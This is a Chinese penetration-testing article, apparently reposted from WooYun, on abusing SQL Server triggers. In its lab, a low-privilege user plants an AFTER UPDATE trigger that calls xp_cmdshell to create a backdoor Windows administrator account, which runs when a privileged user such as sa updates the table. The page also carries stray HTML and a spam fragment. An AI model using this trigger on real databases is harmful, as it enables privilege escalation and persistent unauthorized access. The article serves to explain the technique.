<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/3464

    0x01 什么是觸發器:


    觸發器對表進行插入、更新、刪除的時候會自動執行的特殊存儲過程。觸發器一般用在check約束更加復雜的約束上面。觸發器和普通的存儲過程的區別是:觸發器是當對某一個表進行操作。諸如:update、insert、delete這些操作的時候,系統會自動調用執行該表上對應的觸發器。SQL Server 2005中觸發器可以分為兩類:DML觸發器和DDL觸發器,其中DDL觸發器它們會影響多種數據定義語言語句而激發,這些語句有create、alter、drop語句。

    0x02 問題描述:


    a)通過Sqlserver的觸發器,可以利用執行者的權限執行自定義的命令。

    b)滲透過程中可能利用的觸發器場景:在設置好觸發器以后,等待、誘使高權限用戶去觸發這個觸發器,來實現入侵、提權、留后門等目的。

    c)Sqlserver的觸發器可以分為兩類:DML觸發器(After insert,After delete,After update和instead of)和DDL觸發器(for)。

    實驗環境: Win2003x86 && SqlServer 2005,默認安裝Sqlserver,安裝一個開源應用siteserver,并建立test用戶,不給予服務器角色,數據庫角色僅給予dbo和public權限。并將test庫與test用戶相互映射。SqlServer的xp_cmdshell已經被恢復。

    實驗過程: a)使用test用戶建立觸發器語句:

    #!bash
    SET ANSI_NULLS ON
    GO
    SET QUOTED_IDENTIFIER ON
    GO                             --這些是 SQL-92 設置語句,使 mssql 遵從 SQL-92 規則。
    CREATE TRIGGER test
       ON bairong_Administrator
       AFTER UPDATE           /*建立一個作用于表bairong_Administrator的、
                                類型為After update的、名為test的觸發器*/
    AS 
    BEGIN
        --EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'
               EXECUTE MASTER.DBO.XP_CMDSHELL 'net user STD 123456 /add'
        EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators STD /add'
               /*默認格式begin為開頭加上觸發后執行的語句,這里是利用儲存過程添加系統賬號。*/
    END
    GO
    

    enter image description here

    b)執行UPDATE操作,是觸發器執行:

    1)使用UPDATE語句來觸發觸發器:

    #!bash
    UPDATE bairong_Administrator SET [email protected]' WHERE UserName='admin';
    

    使用test用戶執行:

    enter image description here

    enter image description here

    enter image description here

    2)使用sa用戶執行:

    enter image description here

    enter image description here

    enter image description here

    那么這就產生一個問題了,如何利用被動觸發留后門或滲透攻擊。

    97av